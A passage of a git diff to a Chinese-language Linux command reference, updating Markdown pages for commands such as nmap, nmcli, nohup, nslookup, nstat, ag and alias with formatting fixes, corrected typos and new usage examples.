2015-05 -000006 2015-06 -000007 2015-07 -000008 2015-08 -000009 2015-09 -000010 2015-10 -000011 2015-11 -000012 2015-12 -000013 ======= - -[root@localhost test]# nl -b a -n rz -w 3 log2015.log -001 2015-01 -002 2015-02 -003 2015-03 -004 2015-04 -005 2015-05 -006 2015-06 -007 2015-07 -008 2015-08 -009 2015-09 -010 2015-10 -011 2015-11 -012 2015-12 -013 ======= + +```shell +nl_normal.txt:该文件用于说明nl命令处理普通文件,内容如下: +ZhuangZhu-74 +2019-11-21 +127.0.0.1 +``` + +```shell +[user2@pc ~]$ nl nl_normal.txt + 1 ZhuangZhu-74 + 2 2019-11-21 + 3 127.0.0.1 + +[user2@pc ~]$ nl -b p'1$' nl_normal.txt + ZhuangZhu-74 + 1 2019-11-21 + 2 127.0.0.1 + +[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt + 1 ZhuangZhu-74 + 2019-11-21 + 127.0.0.1 ``` -说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。 +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nl`,`info coreutils 'nl invocation'`。 - \ No newline at end of file diff --git a/command/nm.md b/command/nm.md index 519138a9a2c..9dbade0874b 100644 --- a/command/nm.md +++ b/command/nm.md @@ -1,30 +1,29 @@ nm === - + 显示二进制目标文件的符号表 ## 补充说明 **nm命令** 被用于显示二进制目标文件的符号表。 -### 语法 +### 语法 -``` +```shell nm(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -A:每个符号前显示文件名; -D:显示动态符号; -g:仅显示外部符号; -r:反序显示符号表。 ``` -### 参数 +### 参数 目标文件:二进制目标文件,通常是库文件和可执行文件。 - \ No newline at end of file diff --git a/command/nmap.md b/command/nmap.md index bb558a64525..8063525d0eb 100644 --- a/command/nmap.md +++ b/command/nmap.md @@ -1,72 +1,73 @@ -nmap -=== - -网络探测和安全审核 - -## 补充说明 - -**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 - -### 语法 - -``` -nmap(选项)(参数) -``` - -### 选项 - -``` --O:激活操作探测; --P0:值进行扫描,不ping主机; --PT:是同TCP的ping; --sV:探测服务版本信息; --sP:ping扫描,仅发现目标主机是否存活; --ps:发送同步(SYN)报文; --PU:发送udp ping; --PE:强制执行直接的ICMPping; --PB:默认模式,可以使用ICMPping和TCPping; --6:使用IPv6地址; --v:得到更多选项信息; --d:增加调试信息地输出; --oN:以人们可阅读的格式输出; --oX:以xml格式向指定文件输出信息; --oM:以机器可阅读的格式输出; --A:使用所有高级扫描选项; ---resume:继续上次执行完的扫描; --P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; --e:在多网络接口Linux系统中,指定扫描使用的网络接口; --g:将指定的端口作为源端口进行扫描; ---ttl:指定发送的扫描报文的生存期; ---packet-trace:显示扫描过程中收发报文统计; ---scanflags:设置在扫描报文中的TCP标志。 -``` - -### 参数 - -ip地址:指定待扫描报文中的TCP地址。 - -### 实例 - - **安装nmap** - -``` -yum install nmap -``` - - **使用nmap扫描www.jsdig.com的开放端口** - -``` -[root@localhost ~]# nmap www.jsdig.com - -Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST -Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): -Not shown: 1678 filtered ports -PORT STATE service -22/tcp open ssh -80/tcp open http - -Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds -``` - - - \ No newline at end of file +nmap +=== + +网络探测和安全审核 + +## 补充说明 + +**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 + +### 语法 + +```shell +nmap(选项)(参数) +``` + +### 选项 + +```shell +-O:激活操作探测; +-P0:值进行扫描,不ping主机; +-PT:是同TCP的ping; +-sV:探测服务版本信息; +-sP:ping扫描,仅发现目标主机是否存活; +-ps:发送同步(SYN)报文; +-PU:发送udp ping; +-PE:强制执行直接的ICMPping; +-PB:默认模式,可以使用ICMPping和TCPping; +-6:使用IPv6地址; +-v:得到更多选项信息; +-d:增加调试信息地输出; +-oN:以人们可阅读的格式输出; +-oX:以xml格式向指定文件输出信息; +-oM:以机器可阅读的格式输出; +-A:使用所有高级扫描选项; +--resume:继续上次执行完的扫描; +-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; +-e:在多网络接口Linux系统中,指定扫描使用的网络接口; +-g:将指定的端口作为源端口进行扫描; +--ttl:指定发送的扫描报文的生存期; +--packet-trace:显示扫描过程中收发报文统计; +--scanflags:设置在扫描报文中的TCP标志。 +--send-eth/--send-ip 使用原始以太网发送/构造指定IP发送 +``` + +### 参数 + +ip地址:指定待扫描报文中的TCP地址。 + +### 实例 + + **安装nmap** + +```shell +yum install nmap +``` + + **使用nmap扫描www.jsdig.com的开放端口** + +```shell +[root@localhost ~]# nmap www.jsdig.com + +Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST +Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): +Not shown: 1678 filtered ports +PORT STATE service +22/tcp open ssh +80/tcp open http + +Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds +``` + + + diff --git a/command/nmcli.md b/command/nmcli.md index 5307c25a7c3..f340f7ed2a2 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -7,26 +7,26 @@ nmcli **nmcli命令** 是 NetworkManager client 网络管理客户端。 -### 语法 +### 语法 -```bash +```shell nmcli [OPTIONS] OBJECT { COMMAND | help } ``` -### 选项 +### 选项 -```bash +```shell OPTIONS - -t[erse] terse output 简洁的输出 - -p[retty] pretty output 漂亮的输出 - -m[ode] tabular|multiline output mode 输出模式 - -f[ields] |all|common specify fields to output 指定要输出的字段 - -e[scape] yes|no escape columns separators in values 在值中转义列分隔符 - -n[ocheck] 不要检查nmcli和NetworkManager版本 - -a[sk] 要求缺少参数 - -w[ait] 设置超时等待整理操作 - -v[ersion] 显示程序版本 - -h[elp] 打印此帮助 + -t[erse] # terse output 简洁的输出 + -p[retty] # pretty output 漂亮的输出 + -m[ode] tabular|multiline # output mode 输出模式 + -f[ields] |all|common # specify fields to output 指定要输出的字段 + -e[scape] yes|no # escape columns separators in values 在值中转义列分隔符 + -n[ocheck] # 不要检查nmcli和NetworkManager版本 + -a[sk] # 要求缺少参数 + -w[ait] # 设置超时等待整理操作 + -v[ersion] # 显示程序版本 + -h[elp] # 打印此帮助 OBJECT g[eneral] NetworkManager的一般状态和操作 @@ -37,20 +37,31 @@ OBJECT a[gent] NetworkManager秘密代理或polkit代理 ``` -### 实例 +### 实例 -```bash -nmcli connection show # 查看当前连接状态 -nmcli connection reload # 重启服务 -nmcli connection show -active # 显示活动的连接 -nmcli connection show "lan eth0"# 显示指定一个网络连接配置 -nmcli device status # 显示设备状态 -nmcli device show eno16777736 # 显示指定接口属性 -nmcli device show # 显示全部接口属性 -nmcli con up static # 启用static连接配置 -nmcli con up default # 启用default连接配置 -nmcli con add help # 查看帮助 +```shell +nmcli connection show # 查看当前连接状态 +nmcli connection reload # 重启服务 +nmcli connection show -active # 显示活动的连接 +nmcli connection show "lan eth0" # 显示指定一个网络连接配置 +nmcli device status # 显示设备状态 +nmcli device show eno16777736 # 显示指定接口属性 +nmcli device show # 显示全部接口属性 +nmcli con up static # 启用static连接配置 +nmcli con up default # 启用default连接配置 +nmcli con add help # 查看帮助 ``` - \ No newline at end of file +### 创建网络会话 + +```shell +nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1 +# con-name 指定会话名称, +# ifname 指定本机网卡 +# autoconnect no 是否自动连接 +# ethernet 指定网卡类型 +# ip4/ip6 +# gw4/gw5 +``` + diff --git a/command/nohup.md b/command/nohup.md index e6c365b4101..e0ee09d8efb 100644 --- a/command/nohup.md +++ b/command/nohup.md @@ -9,27 +9,28 @@ nohup 无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 -### 语法 +### 语法 +```shell nohup(选项)(参数) +``` -### 选项 +### 选项 -``` +```shell --help:在线帮助; --version:显示版本信息。 ``` -### 参数 +### 参数 程序及选项:要运行的程序及选项。 -### 实例 - +### 实例 使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件: -``` +```shell nohup command > myout.file 2>&1 & ``` @@ -37,14 +38,48 @@ nohup command > myout.file 2>&1 & 该指令表示不做挂断操作,后台下载 -```bash +```shell nohup wget site.com/file.zip ``` 下面命令,会在同一个目录下生成一个名称为 `nohup.out` 的文件,其中包含了正在运行的程序的输出内容 -```bash +```shell nohup ping -c 10 baidu.com ``` - +最简单的后台运行 + +```shell +nohup command & +``` + +输出默认重定向到当前目录下 nohup.out 文件 + +```shell +nohup python main.py & +``` + +自定义输出文件(标准输出和错误输出合并到 main.log) + +```shell +nohup python main.py >> main.log 2>&1 & +``` + +与上一个例子相同作用的简写方法 + +```shell +nohup python main.py &> main.log & +``` + +不记录输出信息 + +```shell +nohup python main.py &> /dev/null & +``` + +不记录输出信息并将程序的进程号写入 pidfile.txt 文件中,方便后续杀死进程 + +```shell +nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` \ No newline at end of file diff --git a/command/nologin.md b/command/nologin.md index bbabbaca7ff..569576f7bde 100644 --- a/command/nologin.md +++ b/command/nologin.md @@ -1,19 +1,19 @@ nologin === - + 拒绝用户登录系统 ## 补充说明 **nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 -### 语法 +### 语法 -``` +```shell nologin ``` -### 实例 +### 实例 Linux禁止用户登录: @@ -21,13 +21,13 @@ Linux禁止用户登录: 1、禁止个别用户登录,比如禁止lynn用户登录。 -``` +```shell passwd -l lynn ``` 这就话的意思是锁定lynn用户,这样该用户就不能登录了。   -``` +```shell passwd -u lynn ``` @@ -35,13 +35,13 @@ passwd -u lynn 2、我们通过修改`/etc/passwd`文件中用户登录的shell -``` +```shell vi /etc/passwd ``` 更改为: -``` +```shell lynn:x:500:500::/home/lynn:/sbin/nologin ``` @@ -49,11 +49,10 @@ lynn:x:500:500::/home/lynn:/sbin/nologin 3、禁止所有用户登录。 -``` +```shell touch /etc/nologin ``` 除root以外的用户不能登录了。 - \ No newline at end of file diff --git a/command/nproc.md b/command/nproc.md new file mode 100644 index 00000000000..86ebcf7a798 --- /dev/null +++ b/command/nproc.md @@ -0,0 +1,36 @@ +nproc +=== + +打印可用的处理器单元数量。 + +## 概要 + +```shell +nproc [OPTION]... +``` + +## 主要用途 + +- 打印可用的处理器单元数量。 + +## 选项 + +```shell +--all 打印已安装处理器的数量。 +--ignore=N 如果可以的情况下,排除 N 个处理单元。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +## 例子 + +```shell +[root@localhost ~]# nproc +8 +``` + +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nproc`,`info coreutils 'nproc invocation'`。 + + diff --git a/command/nslookup.md b/command/nslookup.md index 7e5e9114ca3..5eff691a82b 100644 --- a/command/nslookup.md +++ b/command/nslookup.md @@ -1,35 +1,40 @@ nslookup === - + 查询域名DNS信息的工具 ## 补充说明 **nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。 -nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 +nslookup有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。 + +在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息,此时也可以指定查询的DNS服务器。 进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。 -### 语法 +### 语法 -``` -nslookup(选项)(参数) +```shell +nslookup(选项)(参数)(DNS服务器) ``` -### 选项 +### 选项 -``` +```shell -sil:不显示任何警告信息。 ``` -### 参数 +### 参数 域名:指定要查询域名。 -### 实例 +### DNS服务器 +不填的话采用默认域名服务器(即`/etc/resolv.conf`的第一个dns地址),填写DNS服务器IP的话,nslookup会向该域名服务器查询域名。 -``` +### 实例 + +```shell [root@localhost ~]# nslookup www.jsdig.com Server: 202.96.104.15 Address: 202.96.104.15#53 @@ -38,7 +43,15 @@ Non-authoritative answer: www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 + +[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8 +Server: 8.8.8.8 +Address: 8.8.8.8#53 + +Non-authoritative answer: +www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com. +Name: www.sustech.edu.cn.w.cdngslb.com +Address: 113.96.179.222 ``` - \ No newline at end of file diff --git a/command/nstat.md b/command/nstat.md new file mode 100644 index 00000000000..45d0c42cd7b --- /dev/null +++ b/command/nstat.md @@ -0,0 +1,137 @@ +nstat +=== + +nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。 + +## 补充说明 + +大多数命令行用户都熟悉 netstat ,这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用,取而代之的是 ip 命令套件,而 nstat 属于新软件包。 + +### 语法 + +```s +nstat [OPTION] [ PATTERN [ PATTERN ] ] +``` + +### 选项 + +```shell +-h:显示帮助信息; +-V:显示指令版本信息; +-z:转储零计数器。默认情况下不显示它们; +-r:清零历史统计; +-n:不显示任何内容,仅更新历史; +-a:显示计数器的绝对值; +-d:以守护进程模式运行并收集统计数据 +-s:不更新历史; +-j:JSON格式输出。 +``` + +### 实例 + +直接输入以查询网络接口状态,以下展示了 IPv4,IPv6,TCP,UDP,ICMP 的统计数据: + +```shell +nstat +#kernel +IpInReceives 769152 0.0 +IpInAddrErrors 1 0.0 +IpInDelivers 769146 0.0 +IpOutRequests 764236 0.0 +IpOutDiscards 20 0.0 +IpOutNoRoutes 1 0.0 +IcmpInMsgs 92 0.0 +IcmpInDestUnreachs 92 0.0 +IcmpOutMsgs 94 0.0 +IcmpOutDestUnreachs 94 0.0 +IcmpMsgInType3 92 0.0 +IcmpMsgOutType3 94 0.0 +TcpActiveOpens 1786 0.0 +TcpPassiveOpens 142 0.0 +TcpAttemptFails 11 0.0 +TcpEstabResets 72 0.0 +TcpInSegs 756827 0.0 +TcpOutSegs 802908 0.0 +TcpRetransSegs 767 0.0 +TcpOutRsts 702 0.0 +UdpInDatagrams 12075 0.0 +UdpNoPorts 82 0.0 +UdpOutDatagrams 7045 0.0 +UdpIgnoredMulti 70 0.0 +Ip6InReceives 5005 0.0 +Ip6InDelivers 5005 0.0 +Ip6OutRequests 131 0.0 +Ip6OutDiscards 2 0.0 +Ip6OutNoRoutes 959 0.0 +Ip6InMcastPkts 4999 0.0 +Ip6OutMcastPkts 125 0.0 +Ip6InOctets 797462 0.0 +Ip6OutOctets 16421 0.0 +Ip6InMcastOctets 797030 0.0 +Ip6OutMcastOctets 15949 0.0 +Ip6InNoECTPkts 5005 0.0 +Icmp6InMsgs 3 0.0 +Icmp6OutMsgs 51 0.0 +Icmp6InNeighborAdvertisements 1 0.0 +Icmp6InMLDv2Reports 2 0.0 +Icmp6OutRouterSolicits 11 0.0 +Icmp6OutNeighborSolicits 4 0.0 +Icmp6OutMLDv2Reports 36 0.0 +Icmp6InType136 1 0.0 +Icmp6InType143 2 0.0 +Icmp6OutType133 11 0.0 +Icmp6OutType135 4 0.0 +Icmp6OutType143 36 0.0 +Udp6InDatagrams 4998 0.0 +Udp6OutDatagrams 76 0.0 +TcpExtTW 385 0.0 +TcpExtPAWSEstab 1 0.0 +TcpExtDelayedACKs 37133 0.0 +TcpExtDelayedACKLocked 57 0.0 +TcpExtDelayedACKLost 456 0.0 +TcpExtTCPHPHits 417717 0.0 +TcpExtTCPPureAcks 34186 0.0 +TcpExtTCPHPAcks 222980 0.0 +TcpExtTCPSACKReorder 1 0.0 +TcpExtTCPLossUndo 194 0.0 +TcpExtTCPLostRetransmit 169 0.0 +TcpExtTCPSlowStartRetrans 1 0.0 +TcpExtTCPTimeouts 494 0.0 +TcpExtTCPLossProbes 309 0.0 +TcpExtTCPBacklogCoalesce 571 0.0 +TcpExtTCPDSACKOldSent 281 0.0 +TcpExtTCPDSACKRecv 281 0.0 +TcpExtTCPAbortOnData 13 0.0 +TcpExtTCPAbortOnClose 30 0.0 +TcpExtTCPDSACKIgnoredOld 1 0.0 +TcpExtTCPDSACKIgnoredNoUndo 258 0.0 +TcpExtTCPSackShiftFallback 1 0.0 +TcpExtTCPRcvCoalesce 18314 0.0 +TcpExtTCPFastOpenActiveFail 2 0.0 +TcpExtTCPSpuriousRtxHostQueues 11 0.0 +TcpExtTCPAutoCorking 1684 0.0 +TcpExtTCPFromZeroWindowAdv 2 0.0 +TcpExtTCPToZeroWindowAdv 2 0.0 +TcpExtTCPSynRetrans 479 0.0 +TcpExtTCPOrigDataSent 359814 0.0 +TcpExtTCPHystartTrainDetect 13 0.0 +TcpExtTCPHystartTrainCwnd 550 0.0 +TcpExtTCPKeepAlive 18 0.0 +TcpExtTCPDelivered 361695 0.0 +TcpExtTCPZeroWindowDrop 1 0.0 +TcpExtTcpTimeoutRehash 494 0.0 +TcpExtTcpDuplicateDataRehash 2 0.0 +TcpExtTCPDSACKRecvSegs 281 0.0 +IpExtInNoRoutes 3 0.0 +IpExtInMcastPkts 5392 0.0 +IpExtOutMcastPkts 221 0.0 +IpExtInBcastPkts 70 0.0 +IpExtOutBcastPkts 10 0.0 +IpExtInOctets 2100280442 0.0 +IpExtOutOctets 226760631 0.0 +IpExtInMcastOctets 746608 0.0 +IpExtOutMcastOctets 27565 0.0 +IpExtInBcastOctets 5674 0.0 +IpExtOutBcastOctets 778 0.0 +IpExtInNoECTPkts 1885871 0.0 +``` \ No newline at end of file diff --git a/command/ntpdate.md b/command/ntpdate.md index aeffc69e0ed..c44638bd08a 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -1,6 +1,6 @@ ntpdate === - + 使用网络计时协议(NTP)设置日期和时间 ## 补充说明 @@ -18,101 +18,25 @@ ntpdate 你必须有 root 权限才能在主机上运行这个命令。 -### 语法 +### 语法 -``` +```shell ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server... ``` -### 选项 - -
-attributes + # 用于生成html表格每列的属性名 () ``` -### 参数 +### 参数 主机:被测试主机。 - \ No newline at end of file +### 实例 + +```shell +# 10个并发, 请求500次 +ab -c 10 -n 500 https://www.qq.com/ +``` diff --git a/command/accept.md b/command/accept.md index 3edc635c3a4..09e9b24d3cd 100644 --- a/command/accept.md +++ b/command/accept.md @@ -1,19 +1,19 @@ accept === - + 指示打印系统接受发往指定目标打印机的打印任务 ## 补充说明 **accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。 -### 语法 +### 语法 ``` accept(选项)(参数) ``` -### 选项 +### 选项 ``` -E:当连接到服务器时强制加密; @@ -21,9 +21,8 @@ accept(选项)(参数) -h:指定连接服务器名和端口号。 ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/ack.md b/command/ack.md index 0d86a7f5329..505be25ab16 100644 --- a/command/ack.md +++ b/command/ack.md @@ -5,7 +5,7 @@ ack ## 安装 -```bash +```shell # ubuntu下要安装ack-grep,因为在debian系中,ack这个名字被其他的软件占用了。 sudo apt-get install ack-grep # alpine Linux-apk软件包管理器 安装 ack @@ -14,10 +14,10 @@ apk install ack ## 参数 -这些参数在linux上的适用频率是相当高的,尤其是你用vim做为IDE的话 +这些参数在linux上的使用频率是相当高的,尤其是你用vim做为IDE的话 -``` --c(统记)/ -i(忽略大小)/ -h(不显示名称)/ +```shell +-c(统计)/ -i(忽略大小)/ -h(不显示名称)/ -l(只显文件名)/ -n(加行号)/ -v(显示不匹配) ``` @@ -43,7 +43,7 @@ ack官网列出了这工具的5大卖点: grep常用操作 -```bash +```shell grep -r 'hello_world' # 简单用法 grep '^hello_world' . # 简单正则 ls -l | grep .py # 管道用法 @@ -65,7 +65,7 @@ ack-grep -Q 'hello*' 对搜索结果进行处理,比如只显示一个文件的一个匹配项,或者xxx -```bash +```shell ack-grep --line=1 # 输出所有文件第二行 ack-grep -l 'hello' # 包含的文件名 ack-grep -L 'print' # 非包含文件名 @@ -75,7 +75,7 @@ ack-grep -L 'print' # 非包含文件名 输出的结果是以什么方式展示呢,这个部分有几个参数可以练习下 -```bash +```shell ack-grep hello --pager='less -R' # 以less形式展示 ack-grep hello --noheading # 不在头上显示文件 ack-grep hello --nocolor # 不对匹配字符着色 @@ -84,17 +84,17 @@ ack-grep hello --nocolor # 不对匹配字符着色 ### File finding 没错,它可以查找文件,以省去你要不断的结合find和grep的麻烦,虽然在linux的思想是一个工具做好一件事。 -```bash +```shell ack-grep -f hello.py # 查找全匹配文件 ack-grep -g hello.py$ # 查找正则匹配文件 ack-grep -g hello --sort-files # 查找然后排序 ``` -### File Inclusion/Exclusion +### File inclusion/exclusion -文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。 +文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码时不小心命中日志中的某个关键字的话,你会觉得这个有用。 -```bash +```shell ack-grep --python hello # 查找所有python文件 ack-grep -G hello.py$ hello # 查找匹配正则的文件 ``` diff --git a/command/ag.md b/command/ag.md new file mode 100644 index 00000000000..47e29043a2f --- /dev/null +++ b/command/ag.md @@ -0,0 +1,100 @@ +ag +=== + +ack 的升级版,C语言编写,更快更人性化 + +## 补充说明 + +> 摘自 项目的 Readme.md + +- 它比ack快一个数量级。 +- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。 +- 如果你的源码库里有你不想搜索的文件,只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*) +- 这个命令的名字比ack短33%,而且所有的键都在主行上! + +### 语法 + +```shell +ag [options] pattern [path ...] +ag [可选项] 匹配模式 [路径...] +``` + +### 选项 + +```shell +输出选项: + --ackmate 以 AckMate-parseable 的格式显示结果 + -A --after [LINES] 显示匹配行之后的行(默认2行) + -B --before [LINES] 显示匹配行之前的行(默认2行) + --[no]break 不同文件中匹配到的内容新建一行显示(默认开启) + -c --count 只显示每个文件中匹配到的数量 (通常与匹配行数不同) + --[no]color 在结果中打印颜色代码(默认启用) + --color-line-number 行号的颜色代码(默认值为:1;33)。 + --color-match 匹配结果的颜色代码(默认值为:30;43)。 + --color-path 路径名称的颜色代码(默认值为:1;32) + --column 打印结果中的列号 + --[no]filename 打印文件名(除非搜索单个文件,否则启用)。 + -H --[no]heading 在每个文件匹配前输出文件名(默认开启) + -C --context [LINES] 显示匹配行上下两行(默认2行) + --[no]group 和这些一样: --[no]break --[no]heading + -g --filename-pattern PATTERN 打印匹配PATTERN的文件名 + -l --files-with-matches 显示包含匹配的文件名(不显示匹配的行) + -L --files-without-matches 只显示不包含匹配项的文件名 + --print-all-files 打印所有搜索到的文件的标题,甚至那些不包含匹配的文件。 + --[no]numbers 打印行号。默认情况是在搜索流时省略行号。 + -o --only-matching 只输出每行匹配的部分 + --print-long-lines 在很长的行上打印匹配信息(默认:>2k字符)。 + --passthrough 当搜索一个流时,打印所有的行,即使它们不匹配。 + --silent 抑制所有的日志信息,包括错误 + --stats 打印统计(扫描的文件、花费的时间等)。 + --stats-only 打印统计信息,不打印其他信息(与搜索单个文件时的--计数相同)。 + --vimgrep 像vim的:vimgrep /pattern/g那样打印结果(它报告每一行的匹配结果) + -0 --null --print0 用null分隔文件名(用于'xargs -0')。 + +搜索选项: + -a --all-types 搜索所有文件(包括隐藏文件) + -D --debug 可笑的调试(可能没有用) + --depth NUM 目录搜索最大深度(默认25) + -f --follow 跟随链接进行搜索 + -F --fixed-strings 为了与grep兼容,--literal的别名。 + -G --file-search-regex 根据正则匹配搜索指定类型的文件 + --hidden 搜索隐藏文件 (但遵从 .*ignore 文件) + -i --ignore-case 不区分大小写匹配 + --ignore PATTERN 忽略匹配 PATTERN 的文件/目录(也允许使用文字文件/目录名称) + --ignore-dir NAME 为了与ack兼容,--ignore的别名 + -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --one-device 不跟随其他设备的链接搜索 + -p --path-to-ignore STRING 在STRING使用.ignore文件 + -Q --literal 不要将PATTERN解析为正则表达式 + -s --case-sensitive 敏感地匹配案例 + -S --smart-case 不区分大小写匹配,除非 PATTERN 包含大写字符 + --search-binary 搜索二进制文件 + -t --all-text 搜索所有文本文件(不包括隐藏文件) + -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, 比如:搜索二进制和隐藏文件) + -U --skip-vcs-ignores 忽略VCS的忽略文件(指的是 .gitignore,.hgignore;仍然遵从.ignore)。 + -v --invert-match 反向匹配 + -w --word-regexp 只匹配整个单词 + -W --width NUM 在NUM字符后截断匹配行 + -z --search-zip 搜索压缩文件中的内容 + +文件类型: +搜索可以限制在某些类型的文件中,例如: + ag --html needle 结果输出到指定类型文件 + - 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle” + +有关支持的文件类型的列表,可以运行: + ag --list-file-types 列出支持的文件类型 +``` + +### 实例 + +列出当前目录下包含 `npm` 的文件 + +```shell +➜ vue-project ag npm ./ +README.md +16:npm install +22:npm run dev +28:npm run build +``` + diff --git a/command/alias.md b/command/alias.md index 97860478f42..55e3337de27 100644 --- a/command/alias.md +++ b/command/alias.md @@ -1,112 +1,118 @@ alias === -用来设置指令的别名 +定义或显示别名。 -## 补充说明 +## 概要 -**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。 +```shell +alias [-p] [name[=value] ...] +``` -alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。 +## 主要用途 -### 语法 +- 简化较长的命令。 +- 定义、修改或者显示一个或多个别名。 -``` -alias(选项)(参数) -``` +## 选项 -### 选项 - -``` --p:打印已经设置的命令别名。 +```shell +-p:显示全部已定义的别名。 +name(可选):指定要(定义、修改、显示)的别名。 +value(可选):别名的值。 ``` -### 参数 +### 返回值 -命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。 +alias 返回 true 除非您要显示的别名未定义。 -### 实例 +## 例子 - **alias 的基本使用方法为:** +```shell +# 显示全部已定义的别名 +alias +alias -p -``` -alias 新的命令='原命令 -选项/参数' -``` +# 显示已定义的别名(假设当前环境存在以下别名) +alias ls +alias ls grep -例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。 +# 定义或修改别名的值 +alias ls='ls --color=auto' +alias ls='ls --color=never' grep='grep --color=never' +``` -要删除一个别名,可以使用 unalias 命令,如 unalias l。 +## 知识点 - **查看系统已经设置的别名:** +直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢? -```bash -[root@localhost ~]# -[root@localhost ~]# alias -alias cp='cp -i' -alias egrep='egrep --color=auto' -alias fgrep='fgrep --color=auto' -alias grep='grep --color=auto' -alias l.='ls -d .* --color=auto' -alias ll='ls -l --color=auto' -alias ls='ls --color=auto' -alias mv='mv -i' -alias rm='rm -i' -alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' -[root@localhost ~]# +使用编辑器打开`~/.bashrc`,在文件中加入别名设置,如:alias rm='rm -i',保存后执行`source ~/.bashrc`,这样就可以永久保存命令的别名了。 -``` -### 命令别名永久生效 -直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。 -```bash -$ vim ~/.bashrc -``` -在文件最后面加入别名设置,如:alias rm=’rm -i’,保存后重新载入: -```bash -$ source ~/.bashrc -``` -这样就可以永久保存命令的别名了。因为修改的是当前用户目录下的.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc目录下的bashrc文件就可以了。在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发有这样一段代码: -```bash -if [ -f ~/.bash_aliases ]; then - . ~/.bash_aliases -fi -``` +因为修改的是当前用户目录下的`~/.bashrc`文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改`/etc/bashrc`文件就可以了。 -这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。 +> 请注意,以下内容可能与您实际使用的系统有出入: +> +> 